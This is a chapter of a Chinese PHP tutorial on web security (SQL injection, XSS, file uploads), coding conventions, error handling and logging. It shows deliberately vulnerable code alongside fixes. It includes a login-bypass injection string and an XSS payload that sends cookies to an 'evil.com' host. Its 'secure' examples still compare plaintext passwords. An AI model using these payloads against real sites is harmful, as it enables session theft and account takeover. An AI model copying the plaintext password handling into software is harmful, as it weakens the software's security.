Skip to content

第 16 章:安全与优化

16.1 防 SQL 注入

SQL 注入的危害

SQL 注入是一种常见的 Web 安全漏洞,攻击者可以通过输入恶意 SQL 代码来操纵数据库,可能导致数据泄露、数据篡改甚至服务器被控制。

SQL 注入示例

php
<?php
// 不安全的代码(存在 SQL 注入漏洞)
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);

// 攻击者可以输入:
// username: admin' --
// password: anything
// 最终 SQL 变成:
// SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
// 这样就可以绕过密码验证
?>

防护方法

1. 使用预处理语句(推荐)

php
<?php
// 使用预处理语句
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
?>

2. 使用 mysqli_real_escape_string()

php
<?php
// 转义特殊字符
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
?>

3. 使用 PDO 预处理

php
<?php
// 使用 PDO 预处理
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
    'username' => $username,
    'password' => $password
]);
$result = $stmt->fetch();
?>

16.2 防 XSS 攻击

XSS 攻击的危害

XSS(跨站脚本攻击)是一种注入攻击,攻击者通过在网页中注入恶意脚本,当用户浏览网页时执行,可能导致用户信息泄露、会话劫持等。

XSS 攻击示例

php
<?php
// 不安全的代码(存在 XSS 漏洞)
$message = $_POST['message'];
echo $message;

// 攻击者可以输入:
// <script>alert('XSS 攻击!');</script>
// 或者:
// <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>
?>

防护方法

1. 使用 htmlspecialchars()

php
<?php
// 转义 HTML 特殊字符
$message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8');
echo $message;
?>

2. 使用 htmlentities()

php
<?php
// 转义所有 HTML 实体
$message = htmlentities($_POST['message'], ENT_QUOTES, 'UTF-8');
echo $message;
?>

3. 使用 strip_tags()

php
<?php
// 去除 HTML 标签
$message = strip_tags($_POST['message']);
echo $message;
?>

4. 设置 HTTP 头

php
<?php
// 设置 Content-Type 头
header('Content-Type: text/html; charset=utf-8');

// 设置 Content-Security-Policy 头
header("Content-Security-Policy: default-src 'self'");
?>

16.3 防文件上传漏洞

文件上传漏洞的危害

攻击者可以通过上传恶意文件(如 PHP 木马)来获取服务器控制权。

防护方法

1. 验证文件类型

php
<?php
// 验证文件类型
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed_types)) {
    die('不允许的文件类型');
}
?>

2. 验证文件扩展名

php
<?php
// 验证文件扩展名
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($extension, $allowed_extensions)) {
    die('不允许的文件扩展名');
}
?>

3. 验证文件大小

php
<?php
// 验证文件大小
$max_size = 5 * 1024 * 1024; // 5MB
if ($_FILES['file']['size'] > $max_size) {
    die('文件太大');
}
?>

4. 重命名文件

php
<?php
// 重命名文件
$new_filename = uniqid() . '.' . $extension;
$target_file = $upload_dir . $new_filename;
move_uploaded_file($_FILES['file']['tmp_name'], $target_file);
?>

5. 检查文件内容

php
<?php
// 检查文件内容
$file_info = getimagesize($_FILES['file']['tmp_name']);
if ($file_info === false) {
    die('不是有效的图片文件');
}
?>

6. 存储到非 Web 可访问目录

php
<?php
// 存储到非 Web 可访问目录
$upload_dir = '/var/uploads/'; // Web 无法直接访问的目录
?>

16.4 代码规范与注释

PHP 代码规范

1. 命名规范

php
<?php
// 类名:大驼峰命名法
class UserController {
    // ...
}

// 方法名:小驼峰命名法
public function getUserById($id) {
    // ...
}

// 变量名:小驼峰命名法或下划线命名法
$userName = 'John';
$user_name = 'John';

// 常量名:全大写下划线命名法
define('MAX_SIZE', 1024);
const MAX_SIZE = 1024;
?>

2. 缩进和空格

php
<?php
// 使用 4 个空格缩进
if ($condition) {
    // code
}

// 运算符两侧加空格
$result = $a + $b;

// 逗号后加空格
function test($param1, $param2) {
    // code
}
?>

3. 注释规范

php
<?php
/**
 * 函数说明
 * 
 * @param string $name 用户名
 * @param int $age 年龄
 * @return bool 是否成功
 */
function registerUser($name, $age) {
    // 单行注释
    
    /*
     * 多行注释
     * 第二行
     */
    
    return true;
}
?>

16.5 错误处理与日志

错误处理

1. 错误报告级别

php
<?php
// 显示所有错误
error_reporting(E_ALL);
ini_set('display_errors', 1);

// 生产环境不显示错误
ini_set('display_errors', 0);
?>

2. 自定义错误处理

php
<?php
// 自定义错误处理函数
function customError($errno, $errstr, $errfile, $errline) {
    echo "<b>错误:</b> [$errno] $errstr<br>";
    echo "错误文件:$errfile<br>";
    echo "错误行号:$errline<br>";
    
    // 记录错误日志
    error_log("Error: [$errno] $errstr in $errfile on line $errline");
}

// 设置自定义错误处理函数
set_error_handler("customError");
?>

3. 异常处理

php
<?php
try {
    // 可能抛出异常的代码
    if ($error) {
        throw new Exception("发生错误");
    }
} catch (Exception $e) {
    echo '捕获异常: ',  $e->getMessage(), "\n";
} finally {
    // 无论是否发生异常都会执行
    echo "finally 代码块执行\n";
}
?>

日志记录

1. 使用 error_log()

php
<?php
// 记录错误日志
error_log("错误信息");

// 发送到邮箱
error_log("错误信息", 1, "admin@example.com");

// 写入文件
error_log("错误信息", 3, "/var/log/php_errors.log");
?>

2. 自定义日志函数

php
<?php
function writeLog($message, $level = 'INFO') {
    $log_file = '/var/log/app.log';
    $timestamp = date('Y-m-d H:i:s');
    $log_message = "[$timestamp] [$level] $message\n";
    
    file_put_contents($log_file, $log_message, FILE_APPEND);
}

// 使用
writeLog("用户登录成功", "INFO");
writeLog("数据库连接失败", "ERROR");
?>

小结

通过本章的学习,你了解了 PHP Web 开发中常见的安全问题和防护方法,包括 SQL 注入、XSS 攻击、文件上传漏洞等。你还学习了 PHP 代码规范和注释的最佳实践,以及错误处理和日志记录的方法。这些知识对于开发安全、稳定、可维护的 PHP 应用至关重要。在实际开发中,应该始终将安全性放在首位,遵循最佳实践,定期进行安全审计和代码审查。

© 2026 编程马·菜鸟教程 版权所有